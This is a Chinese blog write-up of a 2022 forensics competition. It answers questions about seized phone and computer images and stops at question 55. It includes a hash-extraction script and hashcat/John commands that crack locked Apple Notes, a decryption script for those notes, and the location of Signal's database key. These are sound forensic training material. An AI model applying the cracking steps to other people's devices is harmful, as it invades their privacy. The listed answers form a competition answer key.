loading...
Featured image of post 美亚杯2022个人赛取证总结

美亚杯2022个人赛取证总结

四个小时还是太短了

最诡异的一集,资格赛恐怖如斯

过程中要数次用到数据库,最好可以使用navicat

检材分卷压缩,一共九卷,解压之后使用Veracrypt挂载就能得到题目

王晓琳手机(1-14)

1.王晓琳手机的IMEI号是什么?(以阿拉伯数字回答)

image-20250813180119718

352978115584444

2.王晓琳的手机安装了什么即时通讯软件(lnstant Messaging Apps)?

A. Signal

B. 微信(WeChat)

C. QQ

D. WhatsApp

E. LINE

在应用列表看到了微信WhatsApp,说明这一题是多选啊

image-20250813181502609

在基本信息 -> 应用列表里面过滤应用分类为"即时通信",又发现一个没有显示的Signal

image-20250813181914269

ABD

回过头再来看,其实火眼分析的也不一定准确,我觉得最好的方式是所有的都看一遍,不过真有那么多时间吗?嗯。存疑

3.王晓琳于什么日子和时间曾经通过即时通讯软件发出一个PDF档案?(以时区UTC+8回答)

A.2022-09-30 17:39:53

B.2022-10-01 17:39:53

C.2022-09-30 18:30:28

D.2022-10-01 16:30:22

在WhatsApp的文件传输记录里找到一个名为staff A team.pdf:

image-20250813182714049

A

4.承上题,这个 PDF 档案的MD5哈希值(Hash Value) 是什么?(以大写英文及阿拉伯数字回答)

这个文件在挂载中好像改了名,变成了内部编号,所以我们在文件里面搜索不到

不过直接在上题的聊天记录里面点击,就能在本地文件管理器找到挂载的这个pdf文件了:

image-20250813184423743

image-20250813184510972

之后不管是用poweshell,还是在火眼里面计算都可以:

image-20250813184659606

AE0D6735BBE45B0B8F1AB7838623D9C8

5.王晓琳将这个PDF档案发给哪一个用户,而该用户的手机号码是什么?

A.85297663607

B.85259308538

C.85269707307

D.85246427813

在好友消息里面一个个查找就行:

image-20250813185156416

B

6.王晓琳发出这个PDF档案的原因是什么?

A.寻求协助

B.分享档案内容

C.错误发出

D.无法开启

看一下聊天记录就知道了:

image-20250813185325090

D

7.承上题,分析王晓琳与上述用户的对话,他们的关系是什么?

A. 客户

B. 师生

C. 家人

D. 同事

同样是查看聊天记录,有电脑部、返工等等字样,应该是同事:

image-20250813185522647

D

其实从这里也就能看出,对方就是本案件嫌疑人林俊熙,两人应该是从同事变成恋人,而后分手

后面的照片也和案件调查的内容对应上了

8.王晓琳于何时要求上述用户删除一张照片?

A. 2022-10-06

B. 2022-09-28

C. 2022-09-30

D. 2022-10-03

依旧聊天记录:

image-20250813185846382

D

9.承上题,该用户向王晓琳提出什么要求以删除这张照片?

A. 金钱

B. 毒品

C. 性服务

D. 加密货币

同上题图,“比钱我就删除”,就是要钱

A

10.王晓琳的手机里有什么电子书籍(Electronic Book) ?

A. 三国演义

B. 红楼梦

C. 水浒传

D. 西游记

首先的思路就是去找有没有相关的app,但是现在支持详细分析的似乎没有一个是电子书阅读平台

所以接下来就是去翻第二题找过的应用列表,但我也不知道哪个是阅读软件,所以要请出伟大的ai大人了

不知道为什么我不能导出成csv,只能一段段截图喂给ai了:

image-20250814100941088

ai真是太好用了你们知道吗

但很遗憾,就算我找到了电子阅读书的软件,也不知道在哪找书的数据

所以换一个思路,直接使用火眼的全局搜索功能把所有选项都找一遍:

image-20250814090331769

很幸运第一个选项三国演义就找到了:

image-20250814090353096

D选项当然也是没有的:

image-20250814101817637

A

11.王晓琳在这本电子书籍里最后对哪段文字加入了重点标示效果(Highlight)?

A. 卿有何妙计

B. 宝玉已是三杯过去了

C. 武松那日早饭罢

D. 就除他做个弼马温罢

不知道怎么找,直接看选项

选项B是红楼梦,C是水浒传,D应该是西游记,A就应该是三国演义了:

image-20250814101525488

image-20250814101545665

为了保险我们直接全局搜索AD两项,也是很幸运,A又搜到了:

image-20250814101440840

A

12.王晓琳的手机里有一个 ‘MTR Mobile ‘(港铁)的手机程序(Mobile App)。检视其数据库(Database) 的数据,王晓琳于2022年10月11日 22:04 时将一行程加入书签(Bookmark),这段行程的起点及终点站包括?

A. 尖沙咀

B. 红硒

C. 康城

D. 青衣

E. 沙田

直接在文件系统里面搜索MTR,可以在搜出来的同级目录下找到一个数据库:

image-20250813202924289

此外在MTRmobile文件夹下也有很多的数据库,不过我们先一个一个试,用SQLite类型连接数据库:

image-20250813210514140

这里面很多字段和选项一样,可能是找对了

CREATE_DATE字段

我们需要搜索2022年10月11日22:04之后的条目,先找个网站转换时间戳:

https://tool.chinaz.com/tools/unixtime.aspx

image-20250814101630078

使用sql语句在表里面查询:

SELECT * 
FROM BookmarkNHistory
WHERE CREATED_DATE >= 1665497040
ORDER BY CREATED_DATE;

只查询出来一条语句,应该就是目标:

image-20250814101722172

DE

13.王晓琳于2022年10月2日使用她的手机拍摄了多少张的照片?(以阿拉伯数字回答)

基本信息 -> 图片,把创建时间改成2022-10-2当天:

image-20250814102214879

每一张最好都看一下,我大致看了,应该都是风景照没错

90

14.检视王晓琳的手机照片,她于2022年10月2日到过什么地方?

A.大潭郊游径

B.城门畔塘径

C.大榄麦理浩径

D.京士柏卫理径

看来上一题全部看一遍是正确的,我们能找到这样一张图片:

image-20250814102445543

B

李大辉的Phone(15-24)

15.李大辉使用的是一台LG V10的手机,它的型号是什么?

A. LGH960C

B. LGH961N

C. LGH960H

D. LGH961C

E. LGH961D

image-20250814111807409

B

16.李大辉的手机最常搜索的类别(Category) 是什么?

A. 护肤品

B. 旅游

C. 运动

D. 学校

查看chrome浏览器的历史记录,发现最多的是关于化妆品一类的:

image-20250814112129286

A

17.李大辉最近光顾了一家美丰快运公司,这快递件的单号是什么?(不要输入符号及空白,以阿拉伯数字回答)

这题不会

先是看了一遍图片,没有找到快递相关的东西

又跑到文件里面找图片,七千多张翻了二十多页,啥也没有,太耗时间了,还给我火眼整的卡卡的

我想到耗时任务里面有图片文字提取,但是使用要苍穹ai引擎,而且也没有关键词,不一定好找

接着又在浏览器里面找,还是没有快递相关,遂放弃,呃啊

*这张图片其实是被删掉了,但在下面路径存有一个缩略图:

Android.bin/分区57/data/com.google.android.apps.photos/cache/glide_cache/

image-20250904195117573

image-20250904195207671

4567567812344567

18.李大辉收到的电邮中有一个钓鱼链结(Phishing Link),这个链结的地址是什么?

A. 以上皆非

B. https://bit.ly/3yeARcO

C. https://bit.ly/5vM12

D. http://bit.ly/Hell0

在Gmail里面能找到:

image-20250814114714799

B

19.承上题,这封电邮是从哪个电邮地址寄出的?

A. 以上皆非

B. Cavinchow456@yahoo.com

C. 2020ChanChan@hotmail.com

D. 30624700Peter@proton.me

同上题图

D

20.承上题,寄出这封电邮的IP地址是?

A. 以上皆非

B. 65.54.185.39

C. 10.13.105.56

D. 58.152.110.218

这题我也不知道怎么做,查看了Gmail的

嗯,不过10开头的是内网地址,不能在公网上路由?但那也只能排除C

21.李大辉手机有一个order.xlsx 的档案被加密了,解密钥匙是什么?

A. 2022 Nov!

B. 20221101

C. Nov2022!

D. P@sswOrd!

这一题答案在图片中,或许应该庆幸十七题我把所有图片都看了一遍:

image-20250814115556797

C

不过这个选择题就四个选项,找到加密文件全部试一遍也试出来了,有点意义不明

22.香港的街道上每一枝街灯都有编号。分析李大辉手机里的程序 ‘KMB 1933’, 哪一枝街灯在经度 (Latitude) 22.4160270000, 纬度 (Longitude) 114.2139450000 附近,它的编号是什么?(以大㝍英文及阿拉伯数字回答)

和十二题一样,搜索KMB,在文件目录下找到数据库:

image-20250814121253302

链接之后,找到kmb_routestopfile_ST表,只有这个表里面有经纬度:

image-20250814121239693

sql进行模糊查询:

SELECT *
FROM kmb_routestopfile_ST
WHERE lat BETWEEN 22.416027 - 0.0005 AND 22.416027 + 0.0005
  AND lng BETWEEN 114.213945 - 0.0005 AND 114.213945 + 0.0005
ORDER BY ABS(lat - 22.416027) + ABS(lng - 114.213945)
LIMIT 10;

image-20250814121717560

CE1453

23.李大辉的手机里有一张由该手机拍的照片,照片的元资料(Metadata) 曾被修改,这张照片的档案名是什么?(以大写英文及数字回答,不用回答副档名

在Android.bin/分区57/media/0/DCIM/Camera路径下查看手机照片的创建时间和修改时间

发现只有一张图片的c和m时间不一样:

image-20250814122126266

20220922_152622.jpg

24.分析李大辉的手机里的资料,他在哪一间公司工作?

A. 美丽好化妆品公司

B. 步步高贸易公司

C. 盛大国际有限公司

D. 永恒化妆品公司

微信和whatsapp都没有相关工作消息,最后在文件的pdf中找到了职员证:

image-20250814122928297

A

林浚熙的iphone(25-38)

25.林浚熙曾经以手机登录Google账户的验证码是什么?(不要输入符号,以大写英文及阿拉伯数字回答)

翻阅短信:

image-20250814123330799

G-785186

26.林浚熙手机的’ WhatsApp’ 号码是什么?(号码)@s.whatsapp.net? (以阿拉伯数字回答)

image-20250814123444032

85259308538

27.通过分析林浚熙手机的照片,判断他在何处偷拍王晓琳?

A. 交通工具

B. 郊野公园

C. 游泳池

D. 酒店房间

照片在之前王晓琳的聊天记录里面已经看到过,是酒店

D

28.林浚熙曾经删掉自己拍摄的照片,这张照片的档案名(Filename) 是什么?(不要输入,以大写英文及阿拉伯数字回答。如Cat10.jpg,需回答CAT10JPG)

image-20250814123842272

IMG_0444.JPG

29.王晓琳曾经发送一个PDF档案予林浚熙,这个档案的文件签名(File Signature) 是什么?(以十六进制数字答首八位数值,如FOA1C5E1)

在本地资源管理器找到这个pdf,随便一个十六进制编辑器打开:

image-20250814124731728

D0CF11E0

30.承上题,该PDF档案内包含一位曾经被肩的受害者资料。分析林熙手机的数据,这位受害者的英文名字是什么?(不要输入符号及空白,以大写英文回答)

尝试直接打开失败,说不是pdf格式:

image-20250814124906161

哎呀,这才反应过来不是PDF文件,开头特征是office应用的,但是不知道是哪一种

我们拖到linux里面使用file命令测试一下(截图太长就不放了):

┌──(kali㉿kali)-[~]
└─$ file 111.pdf
111.pdf: Composite Document File V2 Document, Little Endian, Os: MacOS, Version 6.12, Code page: 10000, Author: user30, Last Saved By: user30, Name of Creating Application: Microsoft Macintosh Excel, Create Time/Date: Wed Sep 28 12:06:13 2022, Last Saved Time/Date: Fri Sep 30 10:37:41 2022, Security: 0

输出里面的Composite Document File V2 Document表明这是 OLE 容器格式,而Microsoft Macintosh Excel说明是Excel生成的OLE文档,也就是.xls文件

修改后缀名打开:

image-20250814133348736

林俊熙的手机好友消息里面只有一个消息与人名有关,在里面就找到了存在于表里面的人:

image-20250814133501991

WONG SAI PING

31.分析林浚熙手机上的数据,他在2022年10月17日计划去什么地方?

A. 以上皆非

B. 荃湾站

C. 沙田站

D. 国际金融中心二期

在手机上发现了waze软件, 是一款非GPS导航与实时路况应用

但分析出来的内容里面没有10月17日的行程:

image-20250814134058784

再去文件里面找一下waze,在ChunHei_iPhone.tar/AppDomain-com.waze.iphone/Documents路径下发现两个数据库,一个个查找,最终在user.db下找到了一个表,里面有时间和地点:

image-20250814134303108

这两个地点都在选项里面,时间是时间戳类型,都转换一下:

image-20250814134353181

image-20250814134317122

第二个是17号的数据

C

32.承上题,上述行程的结束时间是?(如答案为 1:01:59,需回答160159)

同上题图:

image-20250814134627149

124500

题目给的例子有问题应该

33.于林浚熙的手机里,在2022年9月1日或以后,哪一张照片是由其他手机拍摄的,而它的档案名是什么?(不要输入,以大写英文及阿拉伯数字回答。如 Cat10.jpg,需回答CAT10JPG)

使用耗时任务的图片exif分析,分析完之后点左上角切换成行视图,再点击右边的设置列,把型号勾选上:

image-20250814144026870

过滤拍摄时间是2022-9-1之后的图片,发现有四张(实际三张)不是林俊熙的手机iphone XR,而是XS:

image-20250814143917249

然后做到这里就卡住了,题目说只有一张,但不知道怎么分辨

34.根据照片的数据库(Photos.sqlite) 资料,哪一个栏目标题(Column Header) 可以显示这张照片的接收方式?

A. ZIMPORTEDFROMSOURCEIDENTIFIER

B. ZIMPORTEDBYBUNDLEIDENTIFIER

C. ZRECEIVEMETHODIDENTIFIER

D. ZRECEIVEDFROMIDENTIFIER

ios会把所有照片绑在一起放在Photos.sqlite里面存储,然后标记来源方便查找

搜索这个数据库:

image-20250814144334530

连接后查询四个选项哪一个在表里面,sqlite的机制和常见的mysql不一样,没学过,交给ai了:

SELECT 'ZIMPORTEDFROMSOURCEIDENTIFIER' AS column_name, name AS table_name
FROM sqlite_master
WHERE type='table' AND sql LIKE '%ZIMPORTEDFROMSOURCEIDENTIFIER%'
UNION ALL
SELECT 'ZIMPORTEDBYBUNDLEIDENTIFIER', name
FROM sqlite_master
WHERE type='table' AND sql LIKE '%ZIMPORTEDBYBUNDLEIDENTIFIER%'
UNION ALL
SELECT 'ZRECEIVEMETHODIDENTIFIER', name
FROM sqlite_master
WHERE type='table' AND sql LIKE '%ZRECEIVEMETHODIDENTIFIER%'
UNION ALL
SELECT 'ZRECEIVEDFROMIDENTIFIER', name
FROM sqlite_master
WHERE type='table' AND sql LIKE '%ZRECEIVEDFROMIDENTIFIER%';

image-20250814145144022

B

35.承上题,这张照片通过什么方式接收?

A. 网页下载

B. 蓝牙传送

C. 以上皆非

D. WhatsApp软件传送

E. Signal软件传送

上一题我们找到了含有接受方式字段的表格,一共有三张,经过查看发现ZADDITIONALASSETATTRIBUTES才是我们想要找的存储了所有图片的表格,利用sql查询33题找到的四张图片就行了吧:

SELECT ZORIGINALFILENAME, ZIMPORTEDBYBUNDLEIDENTIFIER
FROM ZADDITIONALASSETATTRIBUTES
WHERE ZORIGINALFILENAME IN (
    'IMG_0420.HEIC',
    'IMG_0421.HEIC',
    'IMG_0422.HEIC',
    'IMG_0446.HEIC'
);

image-20250814172545644

什么?竟然一张都没有找到!难道这几张图片根本就不存在???!!!

再次返回表格,确实没有看见这几张图片,不过比对他们的时间却发现了猫腻:

image-20250814172944623

image-20250814173022613

在数据库里面,这几张来自其他手机的、以.HEIC作为后缀的图片,似乎被重新命名了,有了另一个名称

而且,这时也发现前文的IMG_0420.HEIC和IMG_0423.HEIC是同一张图片,不知道为什么存储了两次

不过这些都不重要,知道了真正的名称,我们改动一下接着查询:

SELECT ZORIGINALFILENAME, ZIMPORTEDBYBUNDLEIDENTIFIER
FROM ZADDITIONALASSETATTRIBUTES
WHERE ZORIGINALFILENAME IN (
    'IMG_0381.HEIC',
    'IMG_0383.HEIC',
    'IMG_0730.HEIC'
);

image-20250814173803319

四张图片的来源都是com.apple.sharingd,然后告诉ai大人吧:

image-20250814174129947

原来是airdrop,这玩意可比选项里面的快多了

C

36.承上题,这张照片原本的档案名(Original Filename) 是什么?不要输入,以大写英文及阿拉伯数字回答。如 Cat10,jpg,需回答CAT10JPG)

看来上一题得到的名称还是很重要的

IMG0730HEIC

37.林浚熙手机里有一个备忘录(Notes)被上了锁,这个备忘录的名称是什么?(以大写英文及阿拉数字回答)

note里面一共四个备忘录数据,其中"halo"和"今天"两条数据是看不见的,不确定是哪个

不过下一题会给出答案

38.承上题,上述备忘录的内容有一串数字,它是什么?(以阿拉伯数字回答)

上网查找破解notes密码的方法,找到了下面这篇文章:

https://www.kaotenforensic.com/cellebrite/blog/bruteforce-securenotes-hashcat/

其中有着这样一段话:

image-20250814181220752

原来看数据库就能知道哪一个数据被加密了,看来以后得多看才是,我们导出看一眼:

image-20250814181640051

果真找到了对应数据,sql查询一下:

  • ZCRYPTOITERATIONCOUNT显示加密迭代次数
  • ZISPASSWORDPROTECTED=1表示有密码保护,0表示没有
SELECT 
    ZTITLE1,
    ZCRYPTOITERATIONCOUNT,
    ZISPASSWORDPROTECTED
FROM ZICCLOUDSYNCINGOBJECT
WHERE ZTITLE1 IN ('Halo', '今天');

image-20250814182234517

什么,竟然这两个都真的被加密了,那谁还分得清啊!

不要紧,正确答案是可以被解密出来有一串数字的,我们接着往下做

notes加密的原理大概就是使用PBKDF2和SHA256算法把简单密码通过反复的哈希拉伸成一个16字节密钥,那么我们就可以想办法从数据库文件(也就是NoteStore.sqlite)里面提取出这个hash,再对它进行爆破

文章里给出了提取hash的perl语言脚本,这里我们保存成iOS_notes.pl:

#!/usr/bin/env perl
use strict;
use warnings;
use DBI;
use DBD::SQLite;

die "usage: $0 NoteStore.sqlite\n" unless (scalar @ARGV == 1);

my $database = shift @ARGV;
my $dsn      = "DBI:SQLite:dbname=$database";
my $userid   = "";
my $password = "";

my $dbh = DBI->connect ($dsn, $userid, $password, { RaiseError => 1 }) or die $DBI::errstr;

my $sth = $dbh->prepare ("SELECT Z_PK,ZCRYPTOITERATIONCOUNT,ZCRYPTOSALT,ZCRYPTOWRAPPEDKEY FROM ZICCLOUDSYNCINGOBJECT WHERE ZISPASSWORDPROTECTED=1");

$sth->execute () or die $DBI::errstr;

while (my $row = $sth->fetchrow_arrayref ())
{
  printf ("\$ASN\$*%d*%d*%s*%s\n", $row->[0], $row->[1], unpack ("H*", $row->[2]), unpack ("H*", $row->[3]));
}

$sth->finish;

$dbh->disconnect ();

exit (0);

我们也可以直接手动从数据库里面复制出来hash值,不过有现成的脚本不用白不用:

perl iOS_notes.pl NoteStore.sqlite > hash.txt

而Apple Secure Notes的设计是一个账户的所有安全备忘录可以用同一个自定义密码解锁,也就是说不管我们取出来多少加密过的hash,只要破解出来一个就可以:

head  -n 1 hash.txt > hash_first.txt

Apple Secure Notes的加密算法对应16200这个模式,我们指定然后运行,这里用的是kali自带字典:

hashcat -m 16200 -a 0 hash_first.txt /usr/share/wordlists/rockyou.txt

然而我是在一台Kali虚拟机里操作的,虚拟机环境无法直接调用物理GPU,Hashcat只能切换到CPU模式

行吧慢点就慢点,但可恶的Hashcat的通用CPU驱动内存分配上限很低,而-m 16200恰恰要很多内存,这就导致跑不动破解的哈希算法

为了解决这个问题,我折腾了很久都没有用,最后只能换一个工具(早该想到的)John the Ripper,据说对CPU的支持非常出色,没有内存限制问题,而且kali也默认安装了它:

john --wordlist=/usr/share/wordlists/rockyou.txt hash_first.txt

最后运行很成功,查看破解密码:

john --show hash_first.txt

image-20250815120251437

234567

不过到这一步只是有密码而已,我们还需要得到内容

我们还是处理NoteStore.sqlite数据库,加密数据可能在两个地方:ZICNOTEDATA表的ZDATA列(通常是笔记主体)或者ZICCLOUDSYNCINGOBJECT表的ZENCRYPTEDVALUESJSON列(通常是附件元数据等)

或许最简单的方式就是手机仿真然后直接打开notes看一眼吧(我猜的),不过我并不知道如何这样做,也不知道能不能这样做,最后调教了很久的ai,处理了很久的环境问题,写出来了一个python脚本:

#!/usr/bin/env python3
import sqlite3
import sys
import zlib
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA256

from cryptography.hazmat.primitives.keywrap import aes_key_unwrap
from cryptography.hazmat.backends import default_backend

def decrypt_aes_gcm(key, nonce, ciphertext, tag):
    """AES-GCM 解密"""
    try:
        cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
        # 关联数据为空,不传 assoc_data
        return cipher.decrypt_and_verify(ciphertext, tag)
    except ValueError as e:
        print(f"[-] AES-GCM Decryption failed: {e}")
        return None

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} NoteStore.sqlite password")
        sys.exit(1)

    db_file = sys.argv[1]
    password = sys.argv[2].encode()

    conn = sqlite3.connect(db_file)
    cursor = conn.cursor()

    try:
        cursor.execute("""
            SELECT
                t1.Z_PK,
                t1.ZCRYPTOITERATIONCOUNT,
                t1.ZCRYPTOSALT,
                t1.ZCRYPTOWRAPPEDKEY,
                t1.ZENCRYPTEDVALUESJSON,
                t2.ZCRYPTOINITIALIZATIONVECTOR,
                t2.ZCRYPTOTAG,
                t2.ZDATA
            FROM
                ZICCLOUDSYNCINGOBJECT AS t1
            JOIN
                ZICNOTEDATA AS t2 ON t1.Z_PK = t2.ZNOTE
            WHERE
                t1.ZISPASSWORDPROTECTED = 1
        """)
    except sqlite3.OperationalError as e:
        print(f"[!] Database query failed. The schema might be different. Error: {e}")
        conn.close()
        sys.exit(1)

    rows = cursor.fetchall()
    if not rows:
        print("[!] No password protected notes found in the database.")
        conn.close()
        return

    decryption_successful = False
    for row in rows:
        pk, iterations, salt, wrapped_key_blob, encrypted_json, iv_blob, tag_blob, data_blob = row
        
        print(f"\n--- Processing Note Z_PK={pk} ---")
        
        if not (salt and wrapped_key_blob):
            print("[*] Skipping note due to missing salt or wrapped key.")
            continue

        salt = bytes(salt)
        wrapped_key_blob = bytes(wrapped_key_blob)

        try:
            # 步骤 1: 派生主密钥 (KEK)
            print("[+] Step 1: Deriving Key Encrypting Key using PBKDF2-SHA256...")
            main_key = PBKDF2(password, salt, dkLen=16, count=iterations, hmac_hash_module=SHA256)

            # 步骤 2: 使用 cryptography AES Key Unwrap 解包笔记密钥
            print("[+] Step 2: Unwrapping note encryption key using AES Key Unwrap...")
            aes_key = aes_key_unwrap(main_key, wrapped_key_blob, backend=default_backend())
            print("[+] Successfully unwrapped note key!")

        except (ValueError, TypeError) as e:
            print(f"[!] Step 2 FAILED. This almost certainly means the password '{sys.argv[2]}' is incorrect. Error: {e}")
            continue

        # 步骤 3: 选择要解密的笔记数据
        data_to_decrypt = None
        source_column = ""
        if encrypted_json:
            data_to_decrypt = encrypted_json
            source_column = "ZENCRYPTEDVALUESJSON"
        elif data_blob:
            data_to_decrypt = data_blob
            source_column = "ZDATA from ZICNOTEDATA"
        else:
            print(f"[*] Note Z_PK={pk} key was unwrapped, but no content data found to decrypt.")
            decryption_successful = True
            continue
        
        print(f"[+] Step 3: Found encrypted content in column '{source_column}'.")
        data_to_decrypt = bytes(data_to_decrypt)
        
        # 步骤 4: AES-GCM 解密笔记内容
        if not (iv_blob and tag_blob):
             print(f"[*] Skipping content decryption for Z_PK={pk}, missing IV or Tag in ZICNOTEDATA.")
             continue
        
        nonce_d = bytes(iv_blob)
        tag_d = bytes(tag_blob)
        ciphertext_d = data_to_decrypt

        print(f"[+] Step 4: Decrypting note content using AES-GCM...")
        plaintext_gzipped = decrypt_aes_gcm(aes_key, nonce_d, ciphertext_d, tag_d)
        
        if plaintext_gzipped:
            # 步骤 5: Gzip 解压
            print(f"[+] Step 5: Decompressing Gzip data...")
            try:
                decompressed_data = zlib.decompress(plaintext_gzipped, 16 + zlib.MAX_WBITS)
                print(f"======== DECRYPTED NOTE (Z_PK={pk}) ========")
                # 只显示可解码文本,忽略不可打印字符
                print(decompressed_data.decode('utf-8', errors='ignore'))
                print(f"{'='*60}\n")
                decryption_successful = True
            except zlib.error as e:
                print(f"[!] Gzip decompression failed for Z_PK={pk}. Error: {e}")
                print(f"Raw decrypted data (gzipped):\n{plaintext_gzipped}")

    conn.close()

    if not decryption_successful and rows:
        print("\n[!] Decryption failed for all notes. Please double-check the password.")

if __name__ == '__main__':
    main()

简单说一下运行过程:

脚本首先将我们输入的密码、从数据库ZICCLOUDSYNCINGOBJECT表中读取的盐和迭代次数三者混合,进行20000次SHA256哈希,得到主密钥,用主密钥去解密从ZICCLOUDSYNCINGOBJECT表得到的 ZCRYPTOWRAPPEDKEY列,取出专门用于加密这条笔记内容的笔记密钥

接着脚本会检查两个可能存放笔记内容的位置,使用笔记密钥配合从ZICNOTEDATA表中读取的初始化向量和认证标签,对加密内容进行解密

最后解密出的数据并非纯文本,而是一个gzip压缩包,调用zlib.decompress函数对其进行解压,得到最终的二进制数据(Protobuf格式),再尽力将这些二进制数据解码为UTF-8文本,并将其中可读的部分打印在屏幕上

嗯,真是太麻烦了

总之下一步,使用下面的命令运行脚本,注意传入明文密钥(少什么库就下载什么):

python decrypt_notes.py NoteStore.sqlite "234567"

输出结果:

--- Processing Note Z_PK=31 ---
[+] Step 1: Deriving Key Encrypting Key using PBKDF2-SHA256...
[+] Step 2: Unwrapping note encryption key using AES Key Unwrap...
[+] Successfully unwrapped note key!
[+] Step 3: Found encrypted content in column 'ZDATA from ZICNOTEDATA'.
[+] Step 4: Decrypting note content using AES-GCM...
[+] Step 5: Decompressing Gzip data...
======== DECRYPTED NOTE (Z_PK=31) ========
 Halo

123456▒
(( ( 
("
c=!FCe8▒h▒hȕ*
hȕ*
  ▒hȕ*
     ▒hȕ*
        ▒hɕ*
           ▒hɕ
============================================================


--- Processing Note Z_PK=33 ---
[+] Step 1: Deriving Key Encrypting Key using PBKDF2-SHA256...
[+] Step 2: Unwrapping note encryption key using AES Key Unwrap...
[+] Successfully unwrapped note key!
[+] Step 3: Found encrypted content in column 'ZDATA from ZICNOTEDATA'.
[+] Step 4: Decrypting note content using AES-GCM...
[+] Step 5: Decompressing Gzip data...
======== DECRYPTED NOTE (Z_PK=33) ========
今天

(▒
(▒
"
c=!FC*8
    h☚*
     h☚*
h☚
============================================================

上面的是"Halo"的,下面的是"今天"的,它们的内容和很多这样的奇怪字符混在一起,是因为它们被包裹在 Protobuf这种二进制结构中,用于保存格式、字体、附件引用等信息,我们现在看到的,就是把这个复杂的二进制结构强行当成文本显示的结果

如何分辨?那最好还是丢给ai:

image-20250815134842012

那么123456应该就是题目说的数字串了

123456

此时37题的真正的答案也出来了:

Halo

但是比赛是断网的吧,赛场上这一题我断然是做不出来的

林浚熙计算机(39-52)

39.林浚熙计算机(Computer) 的操作系统(Operating System) 版本是什么?

A. Windows 10 Pro for Workstations 21H2

B. Windows 10 Pro 22H2

C. Windows 10 Home 21H2

D. Windows 10 Pro for Workstations 21H1

image-20250815101130265

操作系统名称为Windows 10 Pro for Workstations,当前Build版本号是19044.2130,这是Windows 10 21H2的一个更新版本

A

40.林浚照计算机安装了什么品牌的虚拟专用网络 Virtual Private Network - VPN)软件?(不要输入符号及空白,以大写英文及阿拉伯数字回答)

火眼支持详细分析的软件里面没有vpn,但在用户桌面找到一个快捷方式,ExpressVPN:

image-20250815140909760

为了保险起见(万一名称不完整),文件系统里面搜一下,确实是vpn:

image-20250815141014058

ExpressVPN

41.承上题,分析该虚拟专用网络的日志(Log),他在哪天安装该虚拟专用网络?(如答案为 2022-12-29,需回答 20221229)

log那么长谁看啊,直接火眼基本信息里看安装软件:

image-20250815141230031

20220915

42.检视林浚照计算机的数据,他使用哪种加密货币(Cryptocurrency) 以支付虚拟专用网络软件?以大写英文回答该加密货币的全名,如 BITCOIN)

电脑里面有四个浏览器,一个个搜索,最终在chrome里面搜索出来了:

image-20250815142103333

Bitcoin

话说这不就是题目示例的吗?心理战这一块

43.林浚熙的加密货币钱包Cryptocurrency Wallet) 名称是什么?不要输入符号,以大写英文及阿拉伯数字回答)

火眼里面找不到什么有用的信息,仿真进入电脑桌面看一下:

image-20250815142922761

看到了老熟人vpn,还有一个未知软件electrum,上网搜一下:

image-20250815143140498

这就是电子钱包了,打开看看:

image-20250815143332389

Wallet后的就是钱包名了,后面还有密码

TELLAW_IEH

不过题目说不要输入符号,不知道是什么意思

44.林浚熙计算机里安装了哪个浏览器(Web Browser)?

A.Tor Browser

B.Opera

C.Google Chrome

D.Internet Explorer

E.Microsoft Edge

前文找使用的电子货币的时候已经说过了:

ACDE

45.林浚熙使用浏览器Google Chrome曾经浏览最多的是哪 个网站?

A. https://gmail.com

B. https://mail.google.com/mail

C. https://web.whatsapp.com

D. https://facebook.com

image-20250815164109918

C

46.除了上述网站,林浚熙曾使用浏览器Google Chrome搜索过什么?

A. javascript教学

B. php sql教学

C. tor教学

D. docker image教学

E. electrum教学

一个个搜就行

BCDE

47.林浚照的计算机安装了一个通讯软件Signal,它的用户资讯储存路径是什么?

A.\Users\HEI\AppData\Roaming\Signal

B.\Program Files(x86)\Signal

C.\Users\HEI\Desktop\Signal

D.\Users\user\Roaming\Signal

我们在signal里面随便点开一个联系人,就能看见存储路径:

image-20250815164601797

A

48.通讯软件Signal采用一个档案存放用户的聊天记录,它的档案名是什么?(不要输入,以大写英文及阿拉伯数字回答。如Cat10.jpg,需回答CAT10JPG)

打开私聊消息,右键任意消息记录,点击跳转到源文件:

image-20250815164744455

原来就是上一题看到过的db.sqlite:

image-20250815164826105

DBSQLITE

49.承上题,对上档案进行分析,林发熙的联络人当中有多少人安装了Siqnal?(以阿拉伯数字回答)

很奇怪,不知道这题想问什么,联络人指的是林俊熙手机的联络人吗,那比对一下:

image-20250815170230481

image-20250815170355323

这四个人的电话(+852)和昵称都对得上,那应该是四个

4

另外,上一题的db文件打不开,经检查发现不是sqlite格式,也不是其他常见文件格式,不知道有什么猫腻

*原来这是因为加密了

Signal会把消息和相关数据存储在一个db.sqlite数据库文件中,但这个数据库本身是加密的

具体来说消息数据库存放位置通常在用户目录下,例如Windows:

C:\Users\<用户名>\AppData\Roaming\Signal\sql\db.sqlite

Signal使用SQLCipher对SQLite数据库进行加密,解密密钥存放在另一个文件里:

C:\Users\<用户名>\AppData\Roaming\Signal\config.json

在ChunHei_Desktop.E01/1/Users/HEI/AppData/Roaming/Signal/config.json中可以找到数据库密码:

image-20250904200719695

50.林浚熙在“Signal’ 曾经与某人对话,那人的手机号码是什么? 需要与区码(Area Code) 一同答(以阿拉伯数字)

上面过程中已经找过,是ROCKY,不多赘述:

85270711901

51.承上题,两人在Signal’ 的对话中有些讯息(Message) 包含附件,这些讯息的 ‘ID’包括?

A.5b9650fe-3bb6-4182-9900-f56177003672

B.46a8762b-78ea-49aa-a6f5-b24975ec189f

C.9729bf92-ab9c-45f7-8147-66234296aele

D.47233ffe-1a73-4b3d-b97c-626246ec3129

我的db.sqlite文件打不开,做不了,难道是有隐写吗?可是也没发现任何线索,跳了吧

52.承上题,林浚熙曾经于2022年10月20日转账(Transfer Money) 予上述对话人士,那次转账的参考编号是什么?(以大写英文及阿拉伯数字回答)

image-20250815171907283

N91088774024

林浚熙的VM(53-70)

53.林浚熙的计算机安装了多少台虚拟机Virtual Machine - VM) ?(以阿拉伯数字回答)

A. 4

B. 1

C. 2

D. 3

image-20250815172044023

B

54.林浚熙的计算机里的虚拟机(VM) 存放在什么路径?

A.\Users\Public\Documents \Virtual Machines

B.\Program Files\Virtual Machines

C.\User\HEN\Roaming\Virtual Machines\

D.\Users\HEN\Documents\Virtual Machines

image-20250815172157027

D

到底是HEI还是HEN?应该是题目搞错了

55.虚拟机 (VM) 使用什么版本的作业系统(Operating System) ?

